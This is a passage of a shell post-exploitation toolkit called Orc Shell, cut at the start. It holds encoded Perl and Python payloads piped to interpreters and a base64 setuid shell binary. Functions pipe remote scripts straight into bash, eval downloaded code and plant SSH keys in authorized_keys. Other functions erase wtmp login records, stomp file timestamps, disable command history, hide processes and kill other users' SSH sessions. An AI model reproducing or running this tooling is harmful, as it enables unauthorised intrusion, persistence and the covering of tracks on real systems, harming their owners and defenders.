[ "$interpreter" = 'perl' ]; then # decode the Perl script and run the script ( base64 -d | gzip -d | perl - "$url" '-' "$@" ) << ====end H4sIANs4vlwAA41TS4/aMBC+51cMKVKCFMRzIwrNqlUPvXBYLX0ckdeZgNXEztrOAgL62+tHttvV qtCDI3nme2UygaBRCMsfd/P5ilV1ifC4i7sNgQ1qe5QWEnsLh/oseME2i6A6QFcdFCVlySVk0B8t AlbEXd8/Ekm3nFR4huwXDPazdJ1O+yXjzX7Qg2MAr8mT0Xs4B1iqfyqwySy9wL9Jr/HJJf/RZDq8 IhATWZ3MwYcTsZ102ruQZ3ZzRa4WO5RxTU81TafuUeIlwfRqPlWbwsk9L2ebzrwUul7OEMKvW6bA 6jGNVDcSwdy50KCauhZSY564dha9MY9Co2Z2pX+rVLkWtVbxE0pWHNZbobSFQHYLwwRWq+W67VQi 99We36NGliaY2rJCg5A+UsWUYnxjbDdNhVwnoLcI3+6XoefUUmz+g2RhklRgg7RMnwnC9lrkVsYP KH6ZVOKBCYx6frEtzq5572VslPBIA5VINALhgkPBSkPpduxQrLgrGq+ByUEH3e6gyAdGqbWmbg5/ /rDYTSJpWa2tw3QyGA+Hb5xLQXJnCYUUFSiUZsAJKE10o8AyM8e3aUSNHNz7bhOIPswl2UWtVTsW +XDQqEwe8z65x9m6qyYw9nGeUTbR6zxuXxzVJVJsw4lbJUewEWgpzNIZYScVvetEgI/Q8JrQnxCR sc3jwF7YfAqNFRxD5E/hGaJ+/zlwAh8/3X/5/vca4x4pHF337JejBQXn4DckTWOa3wQAAA== ====end else # else must be: "$interpeter" = 'pythonX' # decode the Python script and run the script # The Python scrips runs with Python version 3 and 2 ( base64 -d | gzip -d | PYTHONHTTPSVERIFY=0 "$interpreter" - "$url" '-' "$@" ) << ====end H4sIAEhQv1wAA31Uy27bMBC8+yu2yUESaih27LiuUffS5lAg6KHozQgCWlrJbCRSJanYRtF/75LU My7Cg2UO9zG7syQvK6kMJOZcoZ5wv5Pdv6pgJpOqbPf6rCdGnTcToJUpWUKtioLvY4W/a9QGGjtC ZYVigqcEKwPfHHqvlFQXrrevfSjHU8KK4knU5R6Vhi38cU7Bab16Wi2DDSzmH6ce4ov1ygJ3qxZg zmK+WM4ahKnSWqzv+j3uxwhTycEH7rBKHlFVicVWszHmLS/RAke4riisRZbrIeK9l+vJ376TPOs6 HVP5BsswgndbCB64qE+BN7JLMa4RftTC8BJdP8NA15XtnwYpijM4jynsawOZrEUKAby/DB5dpC1Z cuACKa+QJKOA1zLEz3jWYfQ2l1SidgEaUmA7yw0mplY4ptIl9Fz6dIoEf518d+n22JZQoAjJPmYq f4ngEyzeplhyrbnIiVlelyiM3tjJA0atqpTMFStBsBKhrGmc9wg5f0EReJLW0JFzyXZzz8GZD+Bb D3cJhmeLjT/MUkL9rYu/fH14CL9LgZHVx5YdDroxhSCYwrxTzHpuYf52kQkTToZEITNIxUlxLmWt IeM0pT6WBYlEcENlJzdWG21UKHWco6l4SsIQFNxkaXeWpY1WPBfMKboFy9uBR24OYC9waAMT6+M+ iIDRWNZmQLZ5J7btdQ/pG3XHxwPxg5+qxt7Frn2dZWgHo/Gn94al4Xy2XN99WEUjU2qRrdx7jKO4 SOT5/D+Hvig7CnaofIgIPg+73a5hD7zhbrZplG8XVR4fFY1/G6rVcJyr2+1mj/bmhVKlYXAdRNTE a9vDkc18YPPO2dBvz4/0ay6505cUhCurX3BF3/iX5KRPO5hO4KtmHLDQOAqDJ0xeGjF3dsan8EgO vXf7ut+7D6dspDb2j3yluDChA7o7TlG5CWma/wHwSxYceQYAAA== ====end fi; } getpty() { SHELL=$(command -v sh) #echo "$backup" > "$ENV" if [ -r "$ENV" ]; then ENV="$ENV" script -c sh /dev/null else echo 'Error: ENV not defined. Can not start script' >&2 fi } getsuspect() { # Pulls my suspect tool from github. # ask and ye shall receive # this janky, awful shortcut if ! orc_existsProg bash; then echo 'Error: bash needed but not found' >&2 return 1 fi orc_httpsProxyReminder raw.githubusercontent.com orc_loadURL 'https://raw.githubusercontent.com/zMarch/suspect/master/suspect.sh' | bash } keyinstall() { touch "$HOME/.ssh" touch -r / sshkey="ssh-rsa [YOUR KEY HERE] $(whoami)@$(hostname)" echo "$sshkey" >> "$NHOME/.ssh/authorized_keys" } psgrep() { # process grep # Argument: search pattern. if [ $# -ne 1 ]; then echo 'Error: psgrep needs grep pattern as argument' return 1 fi # don't list this process running the grep # TODO: make a more specific grep with pgrep. # The simple grep searchs in all parts of the ps output. # shellcheck disable=2009 ps -weFH | grep $orc_colorNever "$1" | grep $orc_colorNever -v 'grep' } getescape() { ps --no-header aux | awk -F" " '{print $1" "$2}' | grep "^$(id -u)"i | awk '{print $2}' | tr ' ' '\n' | while read -r i; do if stat -c '%i' "/proc/$i/root/" | grep -qe "^2"; then echo "process $i seems to be outside the jail..." fi done } getjail() { TTT=0 echo "Checking to see if we're in one giant simulation..." if stat -c '%i' '/' | grep -vqe "^2"; then TTT=1 echo "We're in a chroot." fi if grep -qi 'hypervisor' /proc/cpuinfo; then echo "Virtual machine!" TTT=1 fi if dmesg | grep -qi 'hypervisor'; then echo "Virtual machine!" TTT=1 fi if dmesg | grep -qi 'vboxvideo'; then echo "Virtual machine! (Virtualbox)" TTT=1 fi if echo $TTT | grep -vq '1'; then echo "Bare metal!" fi } portscan() { # Run a portscan against common ports # List ports which allow TCP connections. # Argument: Name or IP of the target box. if [ $# -ne 1 ]; then echo 'Error: portscan needs one host name or host address' >&2 return 1 fi echo "Starting portscan of $1 ..." for port in 21 22 23 80 443 8080 8443 129 445 3389 3306 do if orc_tryTcpConnection "$1" "$port"; then echo "Host $1 TCP port $port open" fi done } fpssh() { # pull ssh remote host public fingerprints # Argument: host name, arguments passed through to ssh-keyscan if [ $# -lt 1 ]; then echo 'Error: fpssh needs host name as argument' >&2 return 1 fi if ! orc_existsProg ssh-keyscan; then echo 'Error: no ssh-keyscan program, can not get public keys' >&2 return 1 fi ssh-keyscan "$@" } getip() { #we use akamai and google here because they're gonna look less dodgy in SOC's logs echo 'Attempting to get IP...' printf 'HTTP says: ' orc_loadURL 'https://whatismyip.akamai.com' echo '' printf 'DNS says: ' if orc_existsProg dig; then dig +time=3 +tries=1 TXT +short o-o.myaddr.l.google.com @ns1.google.com | tr -d \" echo '(used dig)' else host -W 3 -t txt o-o.myaddr.l.google.com ns1.google.com | grep $orc_colorNever descriptive | awk -F ' ' '{print $4}' | tr -d '"' | tr -d "\n" echo '(used host)' fi } getgtfobins() { # Pulls down the list of current gtfobins and checks to see # which are installed in your $PATH # The HTML source of the GTFOBins page is generated. So the structure of the # file is very constant. Here a simple regex pattern is implemented to grep # the program names. orc_loadURL 'https://gtfobins.github.io/' | awk '// {split($0,a,"/"); print a[3]}' | ( orc_local cmd_name find_args find_result orc_local n_total n_direct n_outside n_notfound n_total=0 n_direct=0 n_outside=0 n_notfound=0 while read -r cmd_name; do n_total=$(( n_total + 1 )) if orc_existsProg "$cmd_name"; then echo "$cmd_name" n_direct=$(( n_direct + 1 )) else n_notfound=$(( n_notfound + 1 )) if [ "$n_notfound" -eq 1 ]; then find_args="( -name $cmd_name" else find_args="$find_args -or -name $cmd_name" fi fi done if [ "$n_notfound" -gt 0 ] && orc_existsProg find; then find_args="$find_args )" # The find_args are not quoted because it must be splitted. # Counting with a pipe into a while read loop is complicated. # shellcheck disable=SC2044,SC2086 for find_result in $(find / -executable -type f $find_args 2> /dev/null); do echo "$find_result" n_outside=$(( n_outside + 1 )) done fi echo "GTFOBins: $n_total commands in web page" echo "GTFOBins: found $n_direct in PATH and $n_outside outside PATH" ) } prochide() { # Execute a program hidden by a long program name. # Arguments: program to execute with optional arguments. # Method : use the longest command line of the current running # processes as name of the program to start. LONGARG=$(ps --no-header -wweo cmd | awk 'length(X)> $HOME/ips )& done } wiper() { # Removes entries from wtmp # Needs write access to the wtmp file. Typical only root # has write access to the login/logout record file. # Argument: grep pattern to remove if [ $# -ne 1 ]; then echo 'Error: wiper needs grep pattern as argument' >&2 return 1 fi utmpdump /var/log/wtmp | grep $orc_colorNever -v "$1" > "$HOME/.l" touch -r /var/log/wtmp "$HOME/.l" utmpdump -r -o /var/log/wtmp "$HOME/.l" touch -r "$HOME/.l" /var/log/wtmp } getrel() { # Prints the OS name from the release file. # arguments: none # output : print to stdout # method : Cuts the name from lines like PRETTY_NAME="name". awk -F= 'toupper($1)~/PRETTY/ {gsub(/"/,"",$2); print $2}' /etc/*release } hangup() { # Terminate someones PTS by killing their SSH process. # arguments: Number(s) of PTS. A single number or a list # of numbers in the arguments is possible. # Or keyword "all" to terminate all PTS connected via SSH. # Or keyword "all other" to terminate all but not our SSH. if [ $# -lt 1 ]; then echo 'Error: hangup functions needs argument: ID number of PTS' >&2 return 1 fi if [ "$2" = "other" ]; then NOT_THIS=$(orc_ourPts) else NOT_THIS="" fi if [ "$1" = "all" ]; then PTS_LIST=$(ps -eo args | awk -v exclude="$NOT_THIS" ' tolower($0) ~ /sshd.*pts\/[0-9]+/ { pts=substr($0,index(tolower($0),"pts/")+4); if(pts != exclude) print pts }') else PTS_LIST="$*" fi echo 'This is seriously rude...' for PTS_ID in $PTS_LIST; do PTS_NAME="pts/$PTS_ID" echo "Terminating $PTS_NAME" OWNER=$(stat -c '%U' "/dev/$PTS_NAME") if [ "$OWNER" = "" ]; then echo "Error: can't get the owner of $PTS_NAME" >&2 continue fi echo "Owner of $PTS_NAME is $OWNER" SSHD_PID=$(pgrep -a sshd | grep $orc_colorNever "$PTS_NAME" | cut -d ' ' -f 1) if [ "$SSHD_PID" = "" ]; then echo "Error: can't find SSHD PID of $PTS_NAME" >&2 continue fi echo "SSHD PID is $SSHD_PID" echo 'Segmentation Fault.' > "/dev/$PTS_NAME" sleep 2 kill -9 "$SSHD_PID" done } getdocker () { if [ -S "/var/run/docker.sock" ]; then if [ -w "/var/run/docker.sock" ]; then echo "Listing docker images..." docker ps else echo "Docker socket exists, but we don't have access." fi else echo "Don't see the docker socket. No Docker?" fi } getexploit () { # Download and run linux-exploit-suggester. # need a better way to do this, honestly # i'd like to pass the -g argument to the script if ! orc_existsProg bash; then echo 'Error: bash needed but not found' >&2 return 1 fi orc_httpsProxyReminder raw.githubusercontent.com orc_loadURL 'https://raw.githubusercontent.com/bcoles/linux-exploit-suggester/master/linux-exploit-suggester.sh' | bash } getenum() { echo 'Doing some basic listing of the usual suspects...' printf 'Kernel: ' uname -rv printf 'glibc: ' readonly libcv="$(ldd "$(command -v id)" | grep $orc_colorNever libc.so | awk -F " " '{print $3}') | grep $orc_colorNever -i version | grep $orc_colorNever -v crypt)" $libcv printf 'dbus: ' dbus-daemon --version | grep $orc_colorNever Daemon printf 'Init system is: ' # print the true command name of process 1. # ps -p 1 is not supported by all systems, e.g. the busybox. # So select the PID with the AWK tool ps -e -o pid,comm | awk '$1=="1" {print $2}' } gettmp () { echo 'Typical directories for tmp files:' for i in $(orc_listTmp); do printf "%s" "$i" TTT=0 if [ -x "$i" ]; then printf ' searchable' TTT=1 fi if [ -r "$i" ]; then printf ' readable' TTT=1 fi if [ -w "$i" ]; then printf ' writeable' TTT=1 fi if [ $TTT -eq 0 ]; then echo ' permission denied' else echo '' fi done } sourceurl () { # Source a downloaded script. # Argument: The URL to download, https is supported. # Global: http(s)_proxy variables will be used. if [ $# -ne 1 ]; then echo 'Error: argument must be one URL to load' >&2 return 1 fi eval "$(orc_loadURL "$1")" } dropsuid() { # drops tiny suid shell # usage: dropsuid > [file] if ! orc_existsProg base64; then echo 'Error: need base64, can not decode tool' >&2 fi base64 -d << ====end f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAA AAAAAIAECACABAgHAAAABwAAAAUAAAAAEAAA6AEAAADpWJCDwAxQw7sAAAAA6bgXAAAAzYDrAem7 iIAECLgLAAAAMckx0usB6THJzYAAAC9iaW4vc2g= ====end } tools() { # Check for common tools. # Arguments: none # Prints report to stdout if ! orc_existsProg type; then echo 'Error: need type, other check methods not yet implemented' >&2 fi # shellcheck disable=SC2039 type dig perl python gcc nc openssl wget strace gcore nmap gdb curl wget tcpdump return 0 } gethelp() { echo " A probably non-comprehensive list of functionality in Orc v$OVERSION. [*] dropsuid - drop tiny suid shell - dropsuid > [file] [*] fpssh - pull ssh remote host fingerprints - fpssh [host] [*] getdbus - list all dbus services [*] getdocker - check docker socket status, and list images. [*] getenum - get kernel, glibc, and dbus versions [*] getescape - attempt to escape chroot via bad privs [*] on the /proc/ filesystem [*] getsctp - check if the box has support for SCTP [*] getexploit - download and run linux-exploit-suggester [*] getgtfobins - pull a list of the current gtfobins and find which are on the system [*] getidle - list all ptys and their idle times accurately. [*] getinfo - create a tar.xz of useful command output [*] getip - get external IP from akamai and google (HTTP and DNS) [*] getjail - check if we're in a chroot/VM [*] getluks - attempt to detect disk crypto with lsblk or dmesg [*] getnet - attempt to enumerate hosts on the local network with ping [*] getpty - pop a pty with script [*] getrel - attempt to get the OS release file. [*] getsec - check if the big three security MAC programs are around [*] getsfiles - list setuid flagged files and setcap files [*] getspec - grab some hardware information [*] getsuspect - pull my suspect tool from github [*] gettmp - list typical directories for tmp files [*] getusers - pull all users with a shell [*] getuservices - list all running services with non-user accounts in passwd [*] hangup - terminate someones PTS by killing their SSH process. [*] Very loud, DO NOT USE. [*] hangup [PTS NUMBER] [*] memexec - execute a binary in-memory from a web-server [*] memexec [full URI] [program arguments] [*] portscan - run a portscan against common ports - portscan [host] [*] prochide - run a program with $0 changed to the longest entry in ps [*] prochide [program + args] [*] qssh - ssh without a tty - qssh [password] [normal arguments] [*] qsu - sudo without a tty - qsu [password] [normal arguments] [*] sourceurl - source a downloaded file - sourceurl URL [*] srm - alias for secure shredding of files [*] stomp - alias for touch -r (needs arguments) [*] tools - check for common tools [*] wiper - remove entries from wtmp - wiper [string to grep out] " } # exit if home directory access is not possible cd "$HOME" || exit alias 'stomp'='touch -r' alias 'psfull'='ps -weFH' alias 'listener'='netstat -peanuto' alias 'netgrep'='netstat -peanuto | grep' alias 'getp'='getent passwd' alias 'psql'='PSQL_HISTORY=/dev/null psql' alias 'ssh'='ssh -T -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no' alias 'less'='LESSHISTFILE=/dev/null less' alias 'wget'='wget --no-hsts' alias 'vim'='vim -ni NONE' alias 'mysql'='MYSQL_HISTFILE=/dev/null mysql' unset HISTFILE HISTSIZE=0 umask 002 if orc_existsProg ulimit; then echo 'coredumps disabled by ulimit' # disabling shellcheck here, we have checked ulimit existence before. # shellcheck disable=SC2039,SC2169 ulimit -c 0 elif orc_existsProg limit; then echo 'coredumps disabled by limit' limit coredumpsize 0 else echo 'Error: no limit/ulimit - coredumps left enabled, careful' >&2 fi echo "=========== Info ===========" echo "Short kernel info: " uname -rni echo "IP address on the network: " if orc_existsProg ifconfig; then ifconfig | grep $orc_colorNever inet | grep $orc_colorNever -v inet6 | awk -F " " '{ print $2 }' | grep $orc_colorNever -v 127 | grep $orc_colorNever -v "::1$" else ip addr show | grep $orc_colorNever inet | grep $orc_colorNever -v inet6 | awk -F " " '{ print $2 }' | grep $orc_colorNever -v 127 | grep $orc_colorNever -v "::1$" fi printf "We are %s - (%s)\n" "$(id -u)" "$(id -nu)" printf "Machine has been " uptime -p if [ -f /etc/machine-id ]; then printf "Unique Machine ID: " cat /etc/machine-id fi echo "============================" echo "=== Welcome to Orc Shell ===" echo "Run gethelp to see a list of commands." echo "$HOME should be deleted upon exit." PS1='$USER'"@$(hostname):"'$PWD'"$ " NHOME=$(orc_homeOfCurrentUser) #rm $ENV